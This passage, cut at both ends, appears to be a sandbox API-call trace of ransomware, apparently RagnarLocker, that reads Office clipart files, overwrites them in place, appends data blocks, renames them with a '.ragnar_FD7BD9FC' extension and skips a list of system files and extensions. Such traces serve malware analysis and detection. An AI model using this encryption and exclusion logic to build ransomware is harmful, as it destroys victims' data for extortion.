(lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x975e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.301] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.301] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.301] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.301] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.301] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.301] GetProcessHeap () returned 0x580000 [0086.301] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.301] CloseHandle (hObject=0xf4) returned 1 [0086.301] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" [0086.301] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.ragnar_FD7BD9FC" [0086.301] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.302] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0086.302] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.302] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0234000.WMF" | out: lpString1="J0234000.WMF") returned="J0234000.WMF" [0086.302] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF") returned=".WMF" [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="autorun.inf") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="boot.ini") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="bootfont.bin") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="bootsect.bak") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="bootmgr") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="bootmgr.efi") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="bootmgfw.efi") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="desktop.ini") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="iconcache.db") returned 1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="ntldr") returned -1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="ntuser.dat") returned -1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="ntuser.dat.log") returned -1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="ntuser.ini") returned -1 [0086.302] lstrcmpiW (lpString1="J0234000.WMF", lpString2="thumbs.db") returned -1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.302] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf")) returned 0x20 [0086.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.303] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=52934) returned 1 [0086.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcebd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.303] GetProcessHeap () returned 0x580000 [0086.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.303] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.304] VirtualAlloc (lpAddress=0x0, dwSize=0xcec6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.304] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.304] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.304] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcec6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcec6, lpOverlapped=0x0) returned 1 [0086.306] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.306] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcec6, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.306] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcec6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcec6, lpOverlapped=0x0) returned 1 [0086.307] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcec6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.307] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcec6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.307] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.307] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.307] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.307] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.308] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.308] GetProcessHeap () returned 0x580000 [0086.308] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.308] CloseHandle (hObject=0xf4) returned 1 [0086.308] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" [0086.308] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.ragnar_FD7BD9FC" [0086.308] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.308] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0086.308] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.309] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0234001.WMF" | out: lpString1="J0234001.WMF") returned="J0234001.WMF" [0086.309] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF") returned=".WMF" [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="autorun.inf") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="boot.ini") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="bootfont.bin") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="bootsect.bak") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="bootmgr") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="bootmgr.efi") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="bootmgfw.efi") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="desktop.ini") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="iconcache.db") returned 1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="ntldr") returned -1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="ntuser.dat") returned -1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="ntuser.dat.log") returned -1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="ntuser.ini") returned -1 [0086.309] lstrcmpiW (lpString1="J0234001.WMF", lpString2="thumbs.db") returned -1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.309] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf")) returned 0x20 [0086.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.310] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19264) returned 1 [0086.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.310] GetProcessHeap () returned 0x580000 [0086.310] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.310] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.311] VirtualAlloc (lpAddress=0x0, dwSize=0x4b40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.312] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b40, lpOverlapped=0x0) returned 1 [0086.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.313] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b40, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.313] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b40, lpOverlapped=0x0) returned 1 [0086.313] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.313] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.314] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.314] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.314] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.314] GetProcessHeap () returned 0x580000 [0086.314] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.314] CloseHandle (hObject=0xf4) returned 1 [0086.314] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" [0086.314] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.ragnar_FD7BD9FC" [0086.314] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.315] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0086.315] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.315] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0234376.WMF" | out: lpString1="J0234376.WMF") returned="J0234376.WMF" [0086.315] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF") returned=".WMF" [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="autorun.inf") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="boot.ini") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="bootfont.bin") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="bootsect.bak") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="bootmgr") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="bootmgr.efi") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="bootmgfw.efi") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="desktop.ini") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="iconcache.db") returned 1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="ntldr") returned -1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="ntuser.dat") returned -1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="ntuser.dat.log") returned -1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="ntuser.ini") returned -1 [0086.315] lstrcmpiW (lpString1="J0234376.WMF", lpString2="thumbs.db") returned -1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.315] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf")) returned 0x20 [0086.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.316] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32980) returned 1 [0086.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.317] GetProcessHeap () returned 0x580000 [0086.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.317] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.318] VirtualAlloc (lpAddress=0x0, dwSize=0x80d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.318] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x80d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x80d4, lpOverlapped=0x0) returned 1 [0086.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.320] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.320] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x80d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x80d4, lpOverlapped=0x0) returned 1 [0086.320] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.320] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.321] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, 